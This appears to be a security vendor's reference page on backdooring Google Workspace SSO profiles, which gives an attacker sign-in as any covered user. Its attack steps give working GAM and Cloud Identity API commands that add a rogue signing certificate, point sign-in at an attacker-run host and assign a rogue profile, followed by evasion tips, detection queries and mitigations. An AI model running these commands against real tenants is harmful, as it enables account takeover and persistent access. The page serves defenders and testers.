1. Resources
  2. Identity Threats
  3. Google Workspace

Google Workspace SSO Profile Tampering

Also known as: Workspace SSO profile backdoor, Rogue SAML certificate in Google Workspace, Workspace SSO assignment abuse, Google Workspace federation backdoor

An attacker with the Security Settings privilege adds a certificate to an SSO profile, swaps its sign-in URL or reassigns a profile, and can then sign in as any user the profile covers.

Platform
Google Workspace
Impact
Critical
Last updated
Attack difficulty
Medium
Detection difficulty
Medium
Privileges required: Tier 0 or tenant admin
A Workspace administrator with the Security Settings privilege (a super administrator or a delegated role that includes it).
What the attacker gains
The ability to sign in as any user in the organizational units or groups that the tampered profile is assigned to, for as long as the change stays in place.
Threat groups
Scattered SpiderStorm-0501APT28APT29APT33APT38APT5FIN13HAFNIUMKe3changLAPSUS$NIMBUS MANTICORESalt TyphoonShinyHuntersand 2 more in MITRE ATT&CKGroups that MITRE ATT&CK records using T1484.002, T1556, T1606.002, T1078.004.

How it works

Google Workspace can hand user sign-in to a third-party identity provider (IdP) over SAML or OIDC. The trust is described by an SSO profile. A SAML profile contains:

  • the IdP entity ID, which is how the IdP names itself to Google
  • the sign-in page URL, where Google sends users to authenticate
  • the sign-out and change password URLs
  • up to two X.509 certificates whose public keys verify the IdP's signed responses

Profiles are assigned to organizational units or groups. Users in an assigned population are sent to that profile's IdP; a population set to "None" signs in directly with Google. A group assignment overrides an organizational unit assignment, and groups are evaluated in priority order. The older legacy SSO profile supports a single IdP for the whole organization and can limit SSO to network ranges.

The security consequence is simple: authentication for every covered user is whatever the profile says. Google accepts a SAML response for a user if it is signed by a key in the profile and names that user. Whoever can edit the profile or its assignment decides who can sign in. That gives these variants:

  • Add a certificate. The second certificate slot exists for rotation. An attacker's certificate in that slot makes Google accept assertions signed with the attacker's key, and the real IdP keeps working. This is the Workspace form of a federated domain backdoor, and what follows is the same as Golden SAML: forged assertions for any covered user.
  • Replace the sign-in URL or entity ID. Users are sent to a server the attacker runs, which can collect credentials or proxy the real IdP.
  • Change the assignment. A new profile that points at an attacker's IdP is assigned to a chosen organizational unit, or to a group, where it overrides the unit's profile. Setting a population to SSO off sends its users back to their Google passwords, which an administrator can reset.
  • Use the legacy profile. Google still accepts assertions sent to the legacy profile's ACS URL, even for super administrators and for users who are assigned another profile.

The super administrator path

Super administrators stand outside this model on purpose, so that a broken IdP can't lock the organization out. At admin.google.com a super administrator signs in with the Google email address and Google password and is not redirected to the IdP. SSO for super administrators is supported only with the legacy profile and only in the cases Google lists: domain-specific service URLs that redirect automatically, sign-in initiated by the IdP, and a redirect that started from a non-administrator account.

Two things follow. A forged assertion against a modern SSO profile does not produce a super administrator session, but with the legacy profile enabled an IdP-initiated assertion for a super administrator is accepted. And an IdP log without any record of a super administrator's sign-in proves nothing: the password path never touches the IdP.

Prerequisites

  • An administrator session or token with the Security Settings privilege. For API use, the Cloud Identity methods accept the scope https://www.googleapis.com/auth/cloud-identity.inboundsso (or the broader cloud-identity and cloud-platform scopes).
  • A SAML SSO profile, or the legacy profile, that covers the accounts the attacker wants, or the ability to assign one.
  • For forged assertions: the profile's ACS URL and entity ID, which Google shows on the profile, and the email addresses of the target users.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Read the current SSO configuration

gam show inboundssoprofiles
gam show inboundssocredentials
gam show inboundssoassignments

The output lists each profile with its IdP entity ID and URLs, the certificates attached to it, and which organizational units and groups use it.

2. Variant A: add a second signing certificate

Create a key pair and a self-signed certificate:

openssl req -x509 -newkey rsa:2048 -nodes -days 365 \
  -keyout idp-shadow.key -out idp-shadow.pem -subj "/CN=idp.corp.example.com"

Attach the certificate to the existing profile. The API allows up to two credentials per profile:

gam create inboundssocredential profile "Corp IdP" pemfile idp-shadow.pem

The same through the Cloud Identity API:

curl -s -X POST "https://cloudidentity.googleapis.com/v1/inboundSamlSsoProfiles/<PROFILE_ID>/idpCredentials:add" \
  -H "Authorization: Bearer $ACCESS_TOKEN" -H "Content-Type: application/json" \
  -d '{"pemData": "-----BEGIN CERTIFICATE-----\n...\n-----END CERTIFICATE-----\n"}'

The attacker now builds a SAML response with any SAML library: issuer set to the profile's IdP entity ID, audience and destination set to the values Google shows for the profile, subject set to the target user's email address, signed with idp-shadow.key. Posting it to the profile's ACS URL, which accepts IdP-initiated sign-in over the HTTP-POST binding, opens a session as that user.

3. Variant B: point the profile at another IdP

gam update inboundssoprofile "Corp IdP" loginurl https://login.attacker.example/saml/sso

Or with the API, where updateMask names the changed field:

curl -s -X PATCH "https://cloudidentity.googleapis.com/v1/inboundSamlSsoProfiles/<PROFILE_ID>?updateMask=idpConfig.singleSignOnServiceUri" \
  -H "Authorization: Bearer $ACCESS_TOKEN" -H "Content-Type: application/json" \
  -d '{"idpConfig": {"singleSignOnServiceUri": "https://login.attacker.example/saml/sso"}}'

4. Variant C: create a profile and assign it to a target population

gam create inboundssoprofile saml name "Corp IdP DR" entityid https://idp.attacker.example \
  loginurl https://idp.attacker.example/sso logouturl https://idp.attacker.example/slo
gam create inboundssocredential profile "Corp IdP DR" pemfile idp-shadow.pem

# For an organizational unit
gam create inboundssoassignment orgunit "/Finance" mode saml_sso profile "Corp IdP DR"

# For a group; the lowest rank wins over other group and unit assignments
gam create inboundssoassignment group finance-approvers@corp.example.com rank 1 mode saml_sso profile "Corp IdP DR"

Turning SSO off for a population uses the same command with mode sso_off.

Impact

The attacker can sign in as any user in the covered population without knowing a password, and because the assertion says the IdP already authenticated the user, Google normally asks for no further verification: 2-Step Verification at Google is usually bypassed when SSO is on, unless the organization has turned on additional challenges. It is a complete identity-based attack on the tenant's ordinary users, and with the legacy profile on its administrators too.

The access is durable. It lasts until someone removes the certificate or the assignment, and it survives password resets of the affected users, because their passwords are not part of the sign-in.

Replacing the URL or disabling SSO also works as denial of service: users in the population can't sign in, or sign in somewhere else.

OPSEC and artifacts

  • Adding instead of replacing. A second certificate leaves the organization's own IdP working, so there are no failed sign-ins and no help desk tickets. The certificate itself stays on the profile, with its own resource name, and is visible to anyone who lists the profile's credentials.
  • A targeted group assignment instead of a profile edit. Assigning a separate profile to a small group changes sign-in for a few chosen users only. The assignment is listed with its target and rank.
  • Forged sign-ins. Each one is a Google login event for the impersonated user with login_type saml. The organization's IdP has no matching authentication record, which is the strongest trace of a forged assertion.
  • Admin audit events. Google's audit reference documents CHANGE_SSO_SETTINGS and TOGGLE_SSO_ENABLED for SSO changes, with the domain name as parameter (changeSsoSettings and toggleSsoEnabled in Cloud Logging). The events do not carry the old and new certificate or URL, and the domain settings reference lists no separate event for a named profile, a profile certificate or an assignment. The content of a change has to be read from the configuration.
  • Timing. Assignment changes can take up to 24 hours to reach all users, so a short-lived change is unreliable for the attacker and its effect window is wider than the two audit timestamps suggest.

Detection

  • Every SSO change is an alert. These settings change a few times a year at most. The SSO configuration changed rules match both documented events. Check each against a change record and against the IdP owner's own record of a certificate rotation.
logName="organizations/000000000000/logs/cloudaudit.googleapis.com%2Factivity"
protoPayload.serviceName="admin.googleapis.com"
protoPayload.methodName=("google.admin.AdminService.changeSsoSettings" OR
  "google.admin.AdminService.toggleSsoEnabled")
  • Configuration drift. Because the events are thin, export the configuration on a schedule and compare it with an approved baseline: the certificates of each profile (count and fingerprint), the entity ID and URLs, and the full list of assignments. gam print inboundssoprofiles, gam print inboundssocredentials and gam print inboundssoassignments produce CSV for this. A profile with two certificates outside a rotation window, a new profile, or a group assignment that nobody requested are findings.
  • SAML sign-ins without an IdP record. Join Google login events with login_type saml to the IdP's sign-in log by user and time. A Google sign-in with no IdP authentication shortly before it is a forged or misrouted assertion.
  • Who holds the privilege. Review assignments of roles that include Security Settings with the admin role assigned rules.
  • Super administrator sessions. Do not expect IdP records for them. Review their Google login events, 2-Step Verification challenges and recovery changes instead.

Mitigation

  • Limit the Security Settings privilege to the few administrators who run federation, and treat any role that includes it as Tier 0. See admin role assignment abuse for how such a role is granted quietly.
  • Retire the legacy SSO profile. Migrate to SSO profiles and turn the legacy profile off, so that assertions for super administrators and for users of other profiles are no longer accepted through it.
  • Keep one certificate per profile outside rotations, and remove the old one as the last step of every rotation.
  • Baseline and monitor the configuration as described under Detection, and store the baseline where a Workspace administrator can't edit it.
  • Add verification at Google for sensitive populations. Google can challenge users after SSO; turn the additional verification on for administrators and for users with access to sensitive data, so that a forged assertion alone is not enough.
  • Protect super administrators on the password path. They sign in with the Google password, so give them strong unique passwords and security keys, keep their number small, and use dedicated accounts.
  • Protect the IdP too. A stolen signing key at the organization's real IdP gives the same result without any change in Google.

Detection rules for this attack

Log events to collect

FAQ

Why is adding a second certificate to an SSO profile so dangerous?

A SAML profile accepts up to two certificates so that administrators can rotate them. Google trusts an assertion signed by either one. An attacker who adds their own certificate next to the real one can sign assertions for any user the profile covers, while the organization's identity provider keeps working and nobody notices a sign-in problem.

Do super administrators sign in through the SSO profile?

No. At admin.google.com a super administrator enters the Google password and is not redirected to the identity provider. Super administrator SSO is supported only with the legacy SSO profile, in a few listed cases such as sign-in initiated by the identity provider. A missing identity provider record for a super administrator's session is therefore normal.

Which administrators can change SSO settings?

Managing SSO profiles requires the Security Settings administrator privilege. Super administrators have it, and so does any custom role that includes it. That privilege should be counted as equivalent to control over every account that signs in through single sign-on.

How quickly does an SSO assignment change take effect?

Google states that assignment changes can take up to 24 hours to propagate but typically happen sooner. A change that is reverted quickly may still have been effective for some users in between, so review sign-ins for the whole window.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.